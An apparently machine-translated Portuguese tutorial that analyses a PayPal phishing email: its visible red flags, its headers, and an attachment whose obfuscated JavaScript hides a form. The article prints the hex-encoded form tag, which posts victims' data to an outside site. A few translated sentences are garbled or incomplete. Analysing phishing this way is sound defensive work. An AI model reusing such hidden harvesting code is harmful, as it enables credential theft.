Não pense que são apenas os detalhes bancários que são importantes: afinal, se alguém obtiver controle sobre o login da sua conta, ele não apenas saberá as informações contidas nessa conta, mas as probabilidades são de que as mesmas informações de login possam ser usadas em vários outros. contas. E se eles comprometerem sua conta de e-mail, eles poderão redefinir todas as outras senhas.
Portanto, além de manter senhas fortes e variadas, você precisa estar sempre atento a e-mails falsos mascarados como reais. Embora a maioria das tentativas de phishing seja amadora, algumas são bastante convincentes, por isso é importante entender como reconhecê-las no nível da superfície e como elas funcionam sob o capô.
Imagem por asirap
Examinando o que está à vista
Nosso e-mail de exemplo, como a maioria das tentativas de phishing, o "notifica" de atividade em sua conta do PayPal, o que, em circunstâncias normais, seria alarmante. Portanto, a ação é verificar / restaurar sua conta enviando praticamente todas as informações pessoais que você puder imaginar. Novamente, isso é bem estereotipado.
Embora haja exceções, praticamente todos os e-mails de phishing e scam são carregados com bandeiras vermelhas diretamente na mensagem. Mesmo que o texto seja convincente, normalmente você pode encontrar muitos erros espalhados pelo corpo da mensagem que indicam que a mensagem não é legítima.
O corpo da mensagem
- “Paypal” - O caso correto é “PayPal” (capital P). Você pode ver as duas variações usadas na mensagem. As empresas são muito deliberadas com suas marcas, então é duvidoso que algo assim passasse pelo processo de revisão.
- “Permitir ActiveX” - Quantas vezes você já viu um negócio legítimo na Web do tamanho do Paypal usar um componente proprietário que funciona apenas em um único navegador, especialmente quando eles suportam vários navegadores? Claro, em algum lugar lá fora, alguma empresa faz isso, mas isso é uma bandeira vermelha.
- "Com segurança". - Observe como essa palavra não se alinha na margem com o restante do texto do parágrafo. Mesmo se eu esticar a janela um pouco mais, ela não se enrola ou espaço corretamente.
- "Paypal!" - O espaço antes do ponto de exclamação parece estranho. Só mais um capricho que eu tenho certeza que não estaria em um email legítimo.
- “PayPal - Formulário de Atualização de Conta.pdf.htm” - Por que o Paypal anexaria um “PDF” especialmente quando eles poderiam apenas vincular a uma página em seu site? Além disso, por que eles tentariam disfarçar um arquivo HTML como PDF? Esta é a maior bandeira vermelha de todos eles.
O cabeçalho da mensagem
- O endereço do remetente é [email protected].
- O endereço para está ausente. Não excluí isso, simplesmente não faz parte do cabeçalho da mensagem padrão. Normalmente, uma empresa que tem seu nome irá personalizar o e-mail para você.
O anexo
Quando abro o anexo, você pode ver imediatamente que o layout não está correto, pois está faltando informações de estilo. Novamente, por que o PayPal enviaria por e-mail um formulário em HTML quando ele poderia simplesmente fornecer um link para o site dele?
Nota: Usamos o visualizador de anexos HTML do Gmail para isso, mas recomendamos que você NÃO ABRIR anexos de golpistas. Nunca. Sempre. Eles geralmente contêm exploits que instalam trojans no seu PC para roubar as informações da sua conta.
A divisão técnica
Embora deva ser bastante claro, com base no que está à vista que se trata de uma tentativa de phishing, vamos agora analisar a composição técnica do email e ver o que podemos encontrar.
Informações do Anexo
A primeira coisa a observar é a fonte HTML do formulário de anexo, que é o que envia os dados para o site falso.
Ao visualizar rapidamente a fonte, todos os links parecem válidos, pois apontam para “paypal.com” ou “paypalobjects.com”, ambos legítimos.
Informações dos cabeçalhos de email
Em seguida, vamos dar uma olhada nos cabeçalhos das mensagens de e-mail brutos. O Gmail disponibiliza isso por meio da opção de menu Mostrar original na mensagem.
Onde os dados vão?
Portanto, determinamos claramente que esse é um e-mail de phishing e coletamos algumas informações sobre o local de origem da mensagem, mas e para onde seus dados são enviados?
Para ver isso, primeiro temos que salvar o anexo HTM da nossa área de trabalho e abrir em um editor de texto. Percorrendo-o, tudo parece estar em ordem, exceto quando chegamos a um bloco de JavaScript suspeito.
Toda vez que você vê uma grande quantidade confusa de letras e números aparentemente aleatórios inseridos em um bloco Javascript, geralmente é algo suspeito. Olhando para o código, a variável “x” é ajustada para esta grande string e então decodificada na variável “y”. O resultado final da variável "y" é então gravado no documento como HTML.
Como a string grande é composta de números de 0 a 9 e as letras a-f, é mais provável que seja codificada por meio de uma simples conversão ASCII para Hex:
3c666f726d206e616d653d226d61696e222069643d226d61696e22206d6574686f643d22706f73742220616374696f6e3d22687474703a2f2f7777772e646578706f737572652e6e65742f6262732f646174612f7665726966792e706870223e
Traduz para:
Não é uma coincidência que isso decida em uma tag de formulário HTML válida que envie os resultados para o PayPal, mas para um site não autorizado.
Além disso, quando você visualizar o código-fonte HTML do formulário, verá que essa tag de formulário não está visível porque é gerada dinamicamente por meio do Javascript. Essa é uma maneira inteligente de ocultar o que o HTML está realmente fazendo se alguém simplesmente visualizasse a origem gerada do anexo (como fizemos anteriormente), em vez de abrir o anexo diretamente em um editor de texto.
O cinismo é uma boa defesa
Quando se trata de ficar seguro online, nunca é demais ter um pouco de cinismo.
Embora eu tenha certeza de que há mais sinais vermelhos no e-mail de exemplo, o que apontamos acima são indicadores que observamos após alguns minutos de exame. Hipoteticamente, se o nível de superfície do e-mail imitasse sua contraparte legítima em 100%, a análise técnica ainda revelaria sua verdadeira natureza. É por isso que é importante poder examinar o que você pode ou não ver.
